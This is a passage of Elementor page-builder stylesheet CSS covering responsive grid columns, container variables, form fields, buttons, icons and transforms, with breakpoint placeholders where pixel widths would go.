.elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-tablet-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-tablet-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-tablet-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX) { .elementor-grid-mobile_extra-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-mobile_extra-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-mobile_extra-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-mobile_extra-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-mobile_extra-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-mobile_extra-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-mobile_extra-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-mobile_extra-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-mobile_extra-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-mobile_extra-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-mobile_extra-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-mobile_extra-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-mobile_extra-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-mobile_extra-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-grid-mobile-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-mobile-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-mobile-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-mobile-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-mobile-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-mobile-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-mobile-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-mobile-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-mobile-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-mobile-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-mobile-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-mobile-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-mobile-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-mobile-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (min-width: ELEMENTOR_SCREEN_DESKTOP_MIN) { #elementor-device-mode:after { content: "desktop"; } } @media (min-width: ELEMENTOR_SCREEN_WIDESCREEN_MIN) { #elementor-device-mode:after { content: "widescreen"; } } @media (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { #elementor-device-mode:after { content: "laptop"; } } @media (max-width: ELEMENTOR_SCREEN_TABLET_EXTRA_MAX) { #elementor-device-mode:after { content: "tablet_extra"; } } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { #elementor-device-mode:after { content: "tablet"; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX) { #elementor-device-mode:after { content: "mobile_extra"; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { #elementor-device-mode:after { content: "mobile"; } } .e-con { --border-radius: 0; --border-top-width: 0px; --border-right-width: 0px; --border-bottom-width: 0px; --border-left-width: 0px; --border-style: initial; --border-color: initial; --container-widget-width: 100%; --container-widget-height: initial; --container-widget-flex-grow: 0; --container-widget-align-self: initial; --content-width: min(100%, var(--container-max-width, 1140px)); --width: 100%; --min-height: initial; --height: auto; --text-align: initial; --margin-top: 0px; --margin-right: 0px; --margin-bottom: 0px; --margin-left: 0px; --padding-top: var(--container-default-padding-top, 10px); --padding-right: var(--container-default-padding-right, 10px); --padding-bottom: var(--container-default-padding-bottom, 10px); --padding-left: var(--container-default-padding-left, 10px); --position: relative; --z-index: revert; --overflow: visible; --gap: var(--widgets-spacing, 20px); --overlay-mix-blend-mode: initial; --overlay-opacity: 1; --overlay-transition: 0.3s; --e-con-grid-template-columns: repeat(3, 1fr); --e-con-grid-template-rows: repeat(2, 1fr); position: var(--position); width: var(--width); min-width: 0; min-height: var(--min-height); height: var(--height); border-radius: var(--border-radius); z-index: var(--z-index); overflow: var(--overflow); transition: background var(--background-transition, 0.3s), border var(--border-transition, 0.3s), box-shadow var(--border-transition, 0.3s), transform var(--e-con-transform-transition-duration, 0.4s); --flex-wrap-mobile: wrap; margin-block-start: var(--margin-block-start); margin-inline-end: var(--margin-inline-end); margin-block-end: var(--margin-block-end); margin-inline-start: var(--margin-inline-start); padding-inline-start: var(--padding-inline-start); padding-inline-end: var(--padding-inline-end); } .e-con { --margin-block-start: var(--margin-top); --margin-block-end: var(--margin-bottom); --margin-inline-start: var(--margin-left); --margin-inline-end: var(--margin-right); --padding-inline-start: var(--padding-left); --padding-inline-end: var(--padding-right); --padding-block-start: var(--padding-top); --padding-block-end: var(--padding-bottom); --border-block-start-width: var(--border-top-width); --border-block-end-width: var(--border-bottom-width); --border-inline-start-width: var(--border-left-width); --border-inline-end-width: var(--border-right-width); } body.rtl .e-con { --padding-inline-start: var(--padding-right); --padding-inline-end: var(--padding-left); --margin-inline-start: var(--margin-right); --margin-inline-end: var(--margin-left); --border-inline-start-width: var(--border-right-width); --border-inline-end-width: var(--border-left-width); } .e-con.e-flex { --flex-direction: column; --flex-basis: auto; --flex-grow: 0; --flex-shrink: 1; flex: var(--flex-grow) var(--flex-shrink) var(--flex-basis); } .e-con-full, .e-con > .e-con-inner { text-align: var(--text-align); padding-block-start: var(--padding-block-start); padding-block-end: var(--padding-block-end); } .e-con-full.e-flex, .e-con.e-flex > .e-con-inner { flex-direction: var(--flex-direction); } .e-con, .e-con > .e-con-inner { display: var(--display); } .e-con.e-grid { --grid-justify-content: start; --grid-align-content: start; --grid-auto-flow: row; } .e-con.e-grid, .e-con.e-grid > .e-con-inner { grid-template-columns: var(--e-con-grid-template-columns); grid-template-rows: var(--e-con-grid-template-rows); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); grid-auto-flow: var(--grid-auto-flow); justify-items: var(--justify-items); align-items: var(--align-items); } .e-con-boxed.e-flex { flex-direction: column; flex-wrap: initial; justify-content: initial; align-items: initial; align-content: initial; } .e-con-boxed.e-grid { justify-items: initial; grid-template-columns: 1fr; grid-template-rows: 1fr; } .e-con-boxed { text-align: initial; gap: initial; } .e-con.e-flex > .e-con-inner { flex-wrap: var(--flex-wrap); justify-content: var(--justify-content); align-items: var(--align-items); align-content: var(--align-content); flex-basis: initial; flex-grow: 1; flex-shrink: initial; align-self: initial; } .e-con.e-grid > .e-con-inner { justify-items: var(--justify-items); align-items: var(--align-items); } .e-con > .e-con-inner { gap: var(--gap); width: 100%; max-width: var(--content-width); margin: 0 auto; padding-inline-start: 0; padding-inline-end: 0; height: 100%; } :is(.elementor-section-wrap, [data-elementor-id]) > .e-con { --margin-left: auto; --margin-right: auto; max-width: min(100%, var(--width)); } .e-con .elementor-widget.elementor-widget { margin-block-end: 0; } .e-con::before, :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container::before, .e-con > .elementor-motion-effects-container > .elementor-motion-effects-layer::before, .e-con > .elementor-background-slideshow::before { content: var(--background-overlay); display: block; position: absolute; mix-blend-mode: var(--overlay-mix-blend-mode); opacity: var(--overlay-opacity); transition: var(--overlay-transition, 0.3s); border-radius: var(--border-radius); border-style: var(--border-style); border-color: var(--border-color); border-block-start-width: var(--border-block-start-width); border-inline-end-width: var(--border-inline-end-width); border-block-end-width: var(--border-block-end-width); border-inline-start-width: var(--border-inline-start-width); top: calc(0px - var(--border-top-width)); left: calc(0px - var(--border-left-width)); width: max(100% + var(--border-left-width) + var(--border-right-width), 100%); height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); } .e-con::before { transition: background var(--overlay-transition, 0.3s), border-radius var(--border-transition, 0.3s), opacity var(--overlay-transition, 0.3s); } .e-con > .elementor-background-slideshow, :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container { border-radius: var(--border-radius); border-style: var(--border-style); border-color: var(--border-color); border-block-start-width: var(--border-block-start-width); border-inline-end-width: var(--border-inline-end-width); border-block-end-width: var(--border-block-end-width); border-inline-start-width: var(--border-inline-start-width); top: calc(0px - var(--border-top-width)); left: calc(0px - var(--border-left-width)); width: max(100% + var(--border-left-width) + var(--border-right-width), 100%); height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container.elementor-hidden-phone { display: none; } } :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container::before { z-index: 1; } :is(.e-con, .e-con > .e-con-inner) > .elementor-background-slideshow::before { z-index: 2; } .e-con .elementor-widget { min-width: 0; } .e-con .elementor-widget-video, .e-con .elementor-widget-google_maps, .e-con .elementor-widget-empty { width: 100%; } .e-con .elementor-widget.e-widget-swiper { width: 100%; } .e-con > .elementor-widget > .elementor-widget-container, .e-con > .e-con-inner > .elementor-widget > .elementor-widget-container { height: 100%; } .elementor.elementor .e-con > .elementor-widget, .e-con.e-con > .e-con-inner > .elementor-widget { max-width: 100%; } @media (max-width: 767px) { .e-con.e-flex { --width: 100%; --flex-wrap: var(--flex-wrap-mobile); } } .elementor-form-fields-wrapper { display: flex; flex-wrap: wrap; } .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > input, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > textarea, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > .elementor-select-wrapper, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group .elementor-field-subgroup { flex-basis: 100%; max-width: 100%; } .elementor-form-fields-wrapper.elementor-labels-inline > .elementor-field-group > input, .elementor-form-fields-wrapper.elementor-labels-inline > .elementor-field-group .elementor-select-wrapper { flex-grow: 1; } .elementor-field-group { flex-wrap: wrap; align-items: center; } .elementor-field-group.elementor-field-type-submit { align-items: flex-end; } .elementor-field-group .elementor-field-textual { width: 100%; max-width: 100%; border: 1px solid #69727D; background-color: transparent; color: #1f2124; vertical-align: middle; flex-grow: 1; } .elementor-field-group .elementor-field-textual:focus { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1) inset; outline: 0; } .elementor-field-group .elementor-field-textual::-webkit-input-placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-field-textual:-ms-input-placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-field-textual::-moz-placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-field-textual:-moz-placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-field-textual::placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-select-wrapper { display: flex; position: relative; width: 100%; } .elementor-field-group .elementor-select-wrapper select { appearance: none; color: inherit; font-size: inherit; font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-end: 20px; } .elementor-field-group .elementor-select-wrapper:before { content: "\e92a"; font-family: "eicons"; font-size: 15px; position: absolute; top: 50%; transform: translateY(-50%); left: 10px; pointer-events: none; text-shadow: 0 0 3px rgba(0, 0, 0, 0.3); } .elementor-field-group.elementor-field-type-select-multiple .elementor-select-wrapper:before { content: ""; } .elementor-field-subgroup { display: flex; flex-wrap: wrap; } .elementor-field-subgroup .elementor-field-option label { display: inline-block; } .elementor-field-subgroup.elementor-subgroup-inline .elementor-field-option { padding-inline-end: 10px; } .elementor-field-subgroup:not(.elementor-subgroup-inline) .elementor-field-option { flex-basis: 100%; } .elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option label, .elementor-field-type-radio .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-radio .elementor-field-subgroup .elementor-field-option label, .elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option label { display: inline; } .elementor-field-label { cursor: pointer; } .elementor-mark-required .elementor-field-label:after { content: "*"; color: red; padding-inline-start: 0.2em; } .elementor-field-textual { line-height: 1.4; font-size: 15px; min-height: 40px; padding: 5px 14px; border-radius: 3px; } .elementor-field-textual.elementor-size-xs { font-size: 13px; min-height: 33px; padding: 4px 12px; border-radius: 2px; } .elementor-field-textual.elementor-size-md { font-size: 16px; min-height: 47px; padding: 6px 16px; border-radius: 4px; } .elementor-field-textual.elementor-size-lg { font-size: 18px; min-height: 59px; padding: 7px 20px; border-radius: 5px; } .elementor-field-textual.elementor-size-xl { font-size: 20px; min-height: 72px; padding: 8px 24px; border-radius: 6px; } .elementor-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-button-align-center .elementor-field-type-submit, .elementor-button-align-center .e-form__buttons { justify-content: center; } .elementor-button-align-start .elementor-field-type-submit, .elementor-button-align-start .e-form__buttons { justify-content: flex-end; } .elementor-button-align-end .elementor-field-type-submit, .elementor-button-align-end .e-form__buttons { justify-content: flex-start; } .elementor-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-button-align-center .e-form__buttons__wrapper, .elementor-button-align-start .e-form__buttons__wrapper, .elementor-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-button-align-center .e-form__buttons__wrapper, .elementor-button-align-center .e-form__buttons__wrapper__button, .elementor-button-align-start .e-form__buttons__wrapper, .elementor-button-align-start .e-form__buttons__wrapper__button, .elementor-button-align-end .e-form__buttons__wrapper, .elementor-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } @media screen and (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-tablet-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-tablet-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-tablet-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-tablet-button-align-center .elementor-field-type-submit, .elementor-tablet-button-align-center .e-form__buttons { justify-content: center; } .elementor-tablet-button-align-start .elementor-field-type-submit, .elementor-tablet-button-align-start .e-form__buttons { justify-content: flex-end; } .elementor-tablet-button-align-end .elementor-field-type-submit, .elementor-tablet-button-align-end .e-form__buttons { justify-content: flex-start; } .elementor-tablet-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-tablet-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-tablet-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-tablet-button-align-center .e-form__buttons__wrapper, .elementor-tablet-button-align-start .e-form__buttons__wrapper, .elementor-tablet-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-tablet-button-align-center .e-form__buttons__wrapper, .elementor-tablet-button-align-center .e-form__buttons__wrapper__button, .elementor-tablet-button-align-start .e-form__buttons__wrapper, .elementor-tablet-button-align-start .e-form__buttons__wrapper__button, .elementor-tablet-button-align-end .e-form__buttons__wrapper, .elementor-tablet-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } } @media screen and (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-mobile-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-mobile-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-mobile-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-mobile-button-align-center .elementor-field-type-submit, .elementor-mobile-button-align-center .e-form__buttons { justify-content: center; } .elementor-mobile-button-align-start .elementor-field-type-submit, .elementor-mobile-button-align-start .e-form__buttons { justify-content: flex-end; } .elementor-mobile-button-align-end .elementor-field-type-submit, .elementor-mobile-button-align-end .e-form__buttons { justify-content: flex-start; } .elementor-mobile-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-mobile-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-mobile-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-mobile-button-align-center .e-form__buttons__wrapper, .elementor-mobile-button-align-start .e-form__buttons__wrapper, .elementor-mobile-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-mobile-button-align-center .e-form__buttons__wrapper, .elementor-mobile-button-align-center .e-form__buttons__wrapper__button, .elementor-mobile-button-align-start .e-form__buttons__wrapper, .elementor-mobile-button-align-start .e-form__buttons__wrapper__button, .elementor-mobile-button-align-end .e-form__buttons__wrapper, .elementor-mobile-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } } .elementor-error .elementor-field { border-color: #d9534f; } .elementor-error .help-inline { color: #d9534f; font-size: 0.9em; } .elementor-message { margin: 10px 0; font-size: 1em; line-height: 1; } .elementor-message:before { content: "\e90e"; display: inline-block; font-family: eicons; font-weight: normal; font-style: normal; vertical-align: middle; margin-inline-end: 5px; } .elementor-message.elementor-message-danger { color: #d9534f; } .elementor-message.elementor-message-danger:before { content: "\e87f"; } .elementor-message.form-message-success { color: #5cb85c; } .elementor-form .elementor-button { padding-block-start: 0; padding-block-end: 0; border: none; } .elementor-form .elementor-button > span, .elementor-form .elementor-button-content-wrapper { display: flex; justify-content: center; flex-direction: row; gap: 5px; } .elementor-form .elementor-button.elementor-size-xs { min-height: 33px; } .elementor-form .elementor-button.elementor-size-sm { min-height: 40px; } .elementor-form .elementor-button.elementor-size-md { min-height: 47px; } .elementor-form .elementor-button.elementor-size-lg { min-height: 59px; } .elementor-form .elementor-button.elementor-size-xl { min-height: 72px; } .elementor-element .elementor-widget-container { transition: background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s, transform var(--e-transform-transition-duration, 400ms); } .elementor-heading-title { padding: 0; margin: 0; line-height: 1; } .elementor-button { display: inline-block; line-height: 1; background-color: #69727D; font-size: 15px; padding: 12px 24px; border-radius: 3px; color: #fff; fill: #fff; text-align: center; transition: all 0.3s; } .elementor-button:hover, .elementor-button:focus, .elementor-button:visited { color: #fff; } .elementor-button-content-wrapper { display: flex; justify-content: center; flex-direction: row; gap: 5px; } .elementor-button-icon svg { width: 1em; height: auto; } .elementor-button-icon .e-font-icon-svg { height: 1em; } .elementor-button-text { display: inline-block; } .elementor-button.elementor-size-xs { font-size: 13px; padding: 10px 20px; border-radius: 2px; } .elementor-button.elementor-size-md { font-size: 16px; padding: 15px 30px; border-radius: 4px; } .elementor-button.elementor-size-lg { font-size: 18px; padding: 20px 40px; border-radius: 5px; } .elementor-button.elementor-size-xl { font-size: 20px; padding: 25px 50px; border-radius: 6px; } .elementor-button span { text-decoration: inherit; } .elementor-element.elementor-button-info .elementor-button { background-color: #5bc0de; } .elementor-element.elementor-button-success .elementor-button { background-color: #5cb85c; } .elementor-element.elementor-button-warning .elementor-button { background-color: #f0ad4e; } .elementor-element.elementor-button-danger .elementor-button { background-color: #d9534f; } .elementor-widget-button .elementor-button .elementor-button-info { background-color: #5bc0de; } .elementor-widget-button .elementor-button .elementor-button-success { background-color: #5cb85c; } .elementor-widget-button .elementor-button .elementor-button-warning { background-color: #f0ad4e; } .elementor-widget-button .elementor-button .elementor-button-danger { background-color: #d9534f; } .elementor-tab-title a { color: inherit; } .elementor-view-stacked .elementor-icon { padding: 0.5em; background-color: #69727D; color: #fff; fill: #fff; } .elementor-view-framed .elementor-icon { padding: 0.5em; color: #69727D; border: 3px solid #69727D; background-color: transparent; } .elementor-icon { display: inline-block; line-height: 1; transition: all 0.3s; color: #69727D; font-size: 50px; text-align: center; } .elementor-icon:hover { color: #69727D; } .elementor-icon i, .elementor-icon svg { width: 1em; height: 1em; position: relative; display: block; } .elementor-icon i:before, .elementor-icon svg:before { position: absolute; left: 50%; transform: translateX(-50%); } .elementor-icon i.fad { width: initial; } .elementor-shape-square .elementor-icon { border-radius: 0; } .elementor-shape-rounded .elementor-icon { border-radius: 10%; } .elementor-shape-circle .elementor-icon { border-radius: 50%; } .e-transform .elementor-widget-container { transform: perspective(var(--e-transform-perspective, 0)) rotateZ(var(--e-transform-rotateZ, 0)) rotateX(var(--e-transform-rotateX, 0)) rotateY(var(--e-transform-rotateY, 0)) translate(var(--e-transform-translate, 0)) translateX(var(--e-transform-translateX, 0)) translateY(var(--e-transform-translateY, 0)) scaleX(calc(var(--e-transform-flipX, 1) * var(--e-transform-scaleX, var(--e-transform-scale, 1)))) scaleY(calc(var(--e-transform-flipY, 1) * var(--e-transform-scaleY, var(--e-transform-scale, 1)))) skewX(var(--e-transform-skewX, 0)) skewY(var(--e-transform-skewY, 0)); transform-origin: var(--e-transform-origin-y) var(--e-transform-origin-x); } .e-con.e-transform { transform: perspective(var(--e-con-transform-perspective, 0)) rotateZ(var(--e-con-transform-rotateZ, 0)) rotateX(var(--e-con-transform-rotateX, 0)) rotateY(var(--e-con-transform-rotateY, 0)) translate(var(--e-con-transform-translate, 0)) translateX(var(--e-con-transform-translateX, 0)) translateY(var(--e-con-transform-translateY, 0)) scaleX(calc(var(--e-con-transform-flipX, 1) * var(--e-con-transform-scaleX, var(--e-con-transform-scale, 1)))) scaleY(calc(var(--e-con-transform-flipY, 1) * var(--e-con-transform-scaleY, var(--e-con-transform-scale, 1)))) skewX(var(--e-con-transform-skewX, 0)) skewY(var(--e-con-transform-skewY, 0)); transform-origin: var(--e-con-transform-origin-y) var(--e-con-transform-origin-x); } .animated { animation-duration: 1.25s; } .animated.animated-slow { animation-duration: 2s; } .animated.animated-fast { animation-duration: 0.75s; } .animated.infinite { animation-iteration-count: infinite; } .animated.reverse { animation-direction: reverse; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .animated { animation: none; } } .page-template-elementor_canvas.elementor-page:before { display: none; } .elementor-post__thumbnail__link { transition: none; } #left-area ul.elementor-icon-list-items, .elementor .elementor-element ul.elementor-icon-list-items, .elementor-edit-area .elementor-element ul.elementor-icon-list-items { padding: 0; } .e--ua-appleWebkit.rtl { --flex-right: flex-start; } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-right, .e--ua-appleWebkit .elementor-share-buttons--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-center, .e--ua-appleWebkit .elementor-share-buttons--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-right, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-center, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-right, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-center, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit 